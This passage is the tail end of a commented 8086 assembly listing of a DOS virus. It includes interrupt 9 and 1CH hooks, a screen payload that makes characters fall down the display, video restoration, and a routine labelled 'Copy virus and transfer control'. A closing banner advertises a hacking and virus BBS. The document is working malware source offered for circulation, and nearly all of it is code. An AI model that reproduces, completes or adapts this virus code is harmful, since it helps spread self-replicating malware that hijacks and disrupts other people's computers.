  2203.     MOV    DB086E+100H,0        ; Set past second line off
  2204.  
  2205. BP0920:    MOV    BX,DW0005[SI+100H]    ; Get current line number
  2206.  
  2207.     OR    BX,BX            ; First line?
  2208.  
  2209.     JZ    BP0930            ; Branch if yes
  2210.  
  2211.     CMP    BYTE PTR [BX+SI],' '    ; Is character a blank?
  2212.  
  2213.     JNE    BP0930            ; Branch if not
  2214.  
  2215.     CMP    BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
  2216.  
  2217.     JE    BP0930            ; Branch if yes
  2218.  
  2219.     MOV    AX,0720H        ; White on black space
  2220.  
  2221.     XCHG    AX,[BX+SI+0FF60H]    ; Swap with line above
  2222.  
  2223.     MOV    [BX+SI],AX        ; Store new character this line
  2224.  
  2225.     ADD    BX,80*2            ; Next line
  2226.  
  2227. BP0930:    CMP    BX,80*25*2        ; Past last line?
  2228.  
  2229.     JE    BP0940            ; Branch if yes
  2230.  
  2231.     CMP    BYTE PTR [BX+SI],' '    ; Is character a blank
  2232.  
  2233.     JNE    BP0940            ; Branch if not
  2234.  
  2235.     JNE    BP0970            ; ?
  2236.  
  2237. BP0940:    MOV    BX,80*24*2        ; Address last line
  2238.  
  2239. BP0950:    CMP    BYTE PTR [BX+SI],' '    ; Is character a blank?
  2240.  
  2241.     JNE    BP0960            ; Branch if not
  2242.  
  2243.     CMP    BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
  2244.  
  2245.     JNE    BP0970            ; Branch if not
  2246.  
  2247. BP0960:    SUB    BX,80*2            ; Previous line
  2248.  
  2249.     OR    BX,BX            ; First line?
  2250.  
  2251.     JNZ    BP0950            ; Branch if not
  2252.  
  2253. BP0970:    MOV    DW0005[SI+100H],BX    ; Save current line number
  2254.  
  2255.     OR    WORD PTR DB086E+100H,BX    ; Set past second line indicator
  2256.  
  2257.     ADD    SI,2            ; Next character position
  2258.  
  2259.     CMP    SI,80*2            ; End of line?
  2260.  
  2261.     JNE    BP0920            ; Branch if not
  2262.  
  2263.     CMP    DB086E+100H,0        ; Past second line?
  2264.  
  2265.     JNE    BP0980            ; Branch if yes
  2266.  
  2267.     OR    SWTCHB+100H,80H        ; Set on switch eight
  2268.  
  2269.     MOV    RSTCNT+100H,1        ; Start restore count
  2270.  
  2271. BP0980:    POP    DS
  2272.  
  2273.     POP    SI
  2274.  
  2275.     POP    BX
  2276.  
  2277. BP0990:    POP    AX
  2278.  
  2279.     DB    0EAH            ; Far jump to Int 1CH
  2280.  
  2281. I1C_OF    DW    0FF53H            ; Original Int 1CH offset
  2282.  
  2283. I1C_SG    DW    0F000H            ; Original Int 1CH segment
  2284.  
  2285.  
  2286.  
  2287.     ; Signal end of interrupt
  2288.  
  2289.  
  2290.  
  2291. BP1000:    MOV    AL,20H            ; \ End of interrupt
  2292.  
  2293.     OUT    20H,AL            ; /
  2294.  
  2295.     POP    AX
  2296.  
  2297.     IRET
  2298.  
  2299.  
  2300.  
  2301.     ; Interrupt 9 routine
  2302.  
  2303.  
  2304.  
  2305. BP1010:    PUSH    AX
  2306.  
  2307.     IN    AL,60H            ; Get keyboard token
  2308.  
  2309.     MOV    KEYTOK+100H,AL        ; Save keyboard token
  2310.  
  2311.     IN    AL,61H            ; Get port B
  2312.  
  2313.     MOV    AH,AL            ; Save port B
  2314.  
  2315.     OR    AL,80H            ; \ Acknowledge keyboard
  2316.  
  2317.     OUT    61H,AL            ; /
  2318.  
  2319.     MOV    AL,AH            ; \ Restore Port B
  2320.  
  2321.     OUT    61H,AL            ; /
  2322.  
  2323.     CMP    I09BSY+100H,0        ; Test Int 9 busy switch
  2324.  
  2325.     MOV    I09BSY+100H,1        ; Set Int 9 busy switch on
  2326.  
  2327.     JNE    BP1000            ; Branch if on already
  2328.  
  2329.     MOV    AL,KEYTOK+100H        ; Get keyboard token
  2330.  
  2331.     CMP    AL,0F0H            ; \ ? discard this character
  2332.  
  2333.     JE    BP1000            ; /
  2334.  
  2335.     AND    AL,7FH            ; Set off top bit
  2336.  
  2337.     CMP    AL,KEYNUM+100H        ; Same as last character?
  2338.  
  2339.     MOV    KEYNUM+100H,AL        ; Save key number
  2340.  
  2341.     JE    BP1000            ; Branch if same as last
  2342.  
  2343.     CMP    RSTCNT+100H,0        ; Is restore count off?
  2344.  
  2345.     JE    BP1020            ; Branch if yes
  2346.  
  2347.     MOV    RSTCNT+100H,1        ; Restart restore count
  2348.  
  2349. BP1020:    CALL    BP1030            ; Video display routine
  2350.  
  2351.     JMP    BP1000            ; End of interrupt
  2352.  
  2353.  
  2354.  
  2355.     ; Video display routine
  2356.  
  2357.  
  2358.  
  2359. BP1030:    MOV    DSPCNT+100H,0028H    ; Set up short display count (2+ secs)
  2360.  
  2361.     TEST    SWTCHB+100H,80H        ; Test switch eight
  2362.  
  2363.     JZ    BP1000            ; Branch if off
  2364.  
  2365.     MOV    DB0870+100H,1        ; Set character going down
  2366.  
  2367.     PUSH    BX
  2368.  
  2369.     PUSH    SI
  2370.  
  2371.     PUSH    DS
  2372.  
  2373.     MOV    DS,VIDADR+100H        ; Get video RAM segment
  2374.  
  2375.     TEST    SWTCHB+100H,10H        ; Test switch five
  2376.  
  2377.     JNZ    BP1070            ; Branch if on
  2378.  
  2379.     OR    SWTCHB+100H,10H        ; Set on switch five
  2380.  
  2381.     XOR    SI,SI            ; Start of line
  2382.  
  2383. BP1040:    MOV    BX,80*24*2        ; Address last line
  2384.  
  2385. BP1050:    CMP    BYTE PTR [BX+SI],' '    ; Is character a blank?
  2386.  
  2387.     JE    BP1060            ; Branch if yes
  2388.  
  2389.     SUB    BX,80*2            ; Previous line
  2390.  
  2391.     JNB    BP1050            ; Branch if not 
  2392.  
  2393.     MOV    BX,80*24*2        ; Address last line
  2394.  
  2395. BP1060:    ADD    BX,80*2            ; Next line
  2396.  
  2397.     MOV    DW0005[SI+100H],BX    ; Save current line number
  2398.  
  2399.     MOV    FLENLO[SI+100H],BX    ; Save last line number
  2400.  
  2401.     INC    SI            ; \ Next character position
  2402.  
  2403.     INC    SI            ; /
  2404.  
  2405.     CMP    SI,80*2            ; End of line?
  2406.  
  2407.     JNE    BP1040            ; Branch if not
  2408.  
  2409. BP1070:    XOR    SI,SI            ; Start of line
  2410.  
  2411. BP1080:    CMP    DW0005[SI+100H],80*25*2    ; End of display area?
  2412.  
  2413.     JE    BP1140            ; Branch if yes
  2414.  
  2415.     MOV    BX,FLENLO[SI+100H]    ; Get last line number
  2416.  
  2417.     MOV    AX,[BX+SI]        ; Get current char and attributes
  2418.  
  2419.     CMP    AX,CS:SIGNAT[BX+SI+100H] ; Is it the same as the stored copy?
  2420.  
  2421.     JNE    BP1100            ; Branch if not
  2422.  
  2423.     PUSH    BX
  2424.  
  2425. BP1090:    OR    BX,BX            ; First line?
  2426.  
  2427.     JZ    BP1120            ; Restore video if yes
  2428.  
  2429.     SUB    BX,80*2            ; Previous line
  2430.  
  2431.     CMP    AX,CS:SIGNAT[BX+SI+100H] ; Is this line same as current?
  2432.  
  2433.     JNE    BP1090            ; Branch if not
  2434.  
  2435.     CMP    AX,[BX+SI]        ; Is this line the same
  2436.  
  2437.     JE    BP1090            ; Branch if yes
  2438.  
  2439.     POP    BX
  2440.  
  2441. BP1100:    OR    BX,BX            ; First line?
  2442.  
  2443.     JNZ    BP1110            ; Character up one line if not
  2444.  
  2445.     MOV    WORD PTR [SI],0720H    ; White on black space
  2446.  
  2447.     JMP    SHORT BP1130
  2448.  
  2449.  
  2450.  
  2451.     ; Move character up one line
  2452.  
  2453.  
  2454.  
  2455. BP1110:    MOV    AX,[BX+SI]        ; Get current char and attributes
  2456.  
  2457.     MOV    [BX+SI+0FF60H],AX    ; Move to previous line
  2458.  
  2459.     MOV    WORD PTR [BX+SI],0720H    ; White on black space
  2460.  
  2461.     SUB    FLENLO[SI+100H],80*2    ; Move last line number up one
  2462.  
  2463.     MOV    DB0870+100H,0        ; Set characters going up
  2464.  
  2465.     JMP    SHORT BP1140
  2466.  
  2467.  
  2468.  
  2469.     ; Restore video
  2470.  
  2471.  
  2472.  
  2473. BP1120:    POP    BX
  2474.  
  2475. BP1130:    MOV    BX,DW0005[SI+100H]    ; Get current line number
  2476.  
  2477.     ADD    BX,80*2            ; Next line
  2478.  
  2479.     MOV    DW0005[SI+100H],BX    ; Save new current line number
  2480.  
  2481.     MOV    FLENLO[SI+100H],BX    ; Save last line number
  2482.  
  2483. BP1140:    INC    SI            ; \ Next character position
  2484.  
  2485.     INC    SI            ; /
  2486.  
  2487.     CMP    SI,80*2            ; End of line?
  2488.  
  2489.     JNE    BP1080            ; Branch if not
  2490.  
  2491.     CMP    DB0870+100H,0        ; Are characters going down
  2492.  
  2493.     JE    BP1150            ; Branch if not
  2494.  
  2495.     PUSH    ES
  2496.  
  2497.     PUSH    DI
  2498.  
  2499.     PUSH    CX
  2500.  
  2501.     PUSH    DS            ; \ Set ES to DS
  2502.  
  2503.     POP    ES            ; /
  2504.  
  2505.     PUSH    CS            ; \ Set DS to CS
  2506.  
  2507.     POP    DS            ; /
  2508.  
  2509.     MOV    SI,OFFSET SIGNAT+100H    ; From end of virus
  2510.  
  2511.     XOR    DI,DI            ; To zero
  2512.  
  2513.     MOV    CX,80*25        ; Length to copy
  2514.  
  2515.     REPZ    MOVSW            ; Restore video
  2516.  
  2517.     MOV    DSPCNT+100H,0FFDCH    ; Restart display count (60 mins)
  2518.  
  2519.     AND    SWTCHB+100H,4        ; Set off all switches but three
  2520.  
  2521.     OR    SWTCHB+100H,88H        ; Set on switches four and eight
  2522.  
  2523.     MOV    RSTCNT+100H,0        ; Set restore count off
  2524.  
  2525.     XOR    AX,AX            ; \ Address zero
  2526.  
  2527.     MOV    DS,AX            ; /
  2528.  
  2529.     ASSUME    DS:BOOT
  2530.  
  2531.     MOV    AX,I09_OF+100H        ; Get old Int 9 offset
  2532.  
  2533.     MOV    BW0024,AX        ; Re-install Int 9 offset
  2534.  
  2535.     MOV    AX,I09_SG+100H        ; Get old Int 9 segment
  2536.  
  2537.     MOV    BW0026,AX        ; Re-install Int 9 segment
  2538.  
  2539.     POP    CX
  2540.  
  2541.     POP    DI
  2542.  
  2543.     POP    ES
  2544.  
  2545. BP1150:    POP    DS
  2546.  
  2547.     POP    SI
  2548.  
  2549.     POP    BX
  2550.  
  2551.     RET
  2552.  
  2553.  
  2554.  
  2555.     ; Copy virus and transfer control
  2556.  
  2557.  
  2558.  
  2559. BP1160:    CLD
  2560.  
  2561.     POP    AX            ; Recover return address
  2562.  
  2563.     SUB    AX,SI            ; Subtract source offset
  2564.  
  2565.     ADD    AX,DI            ; Add target offset
  2566.  
  2567.     PUSH    ES            ; Push new segment
  2568.  
  2569.     PUSH    AX            ; Push new return address
  2570.  
  2571.     REPZ    MOVSB            ; Copy virus
  2572.  
  2573.     RETF                ; Return to copy
  2574.  
  2575.  
  2576.  
  2577.     DB    090H
  2578.  
  2579. SIGNAT    DW    0E850H
  2580.  
  2581.     DB    0E2H, 003H, 08BH
  2582.  
  2583.  
  2584.  
  2585. ENDADR    EQU    $
  2586.  
  2587.  
  2588.  
  2589. CODE    ENDS
  2590.  
  2591.  
  2592.  
  2593.     END
  2594.  
  2595. 
  2596.  
  2597. ; ─────────────────────────────────────────────────────────────────────────
  2598.  
  2599. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  2600.  
  2601. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  2602.  
  2603. ; ─────────────────────────────────────────────────────────────────────────
  2604.  
  2605.  
  2606.  
  2607.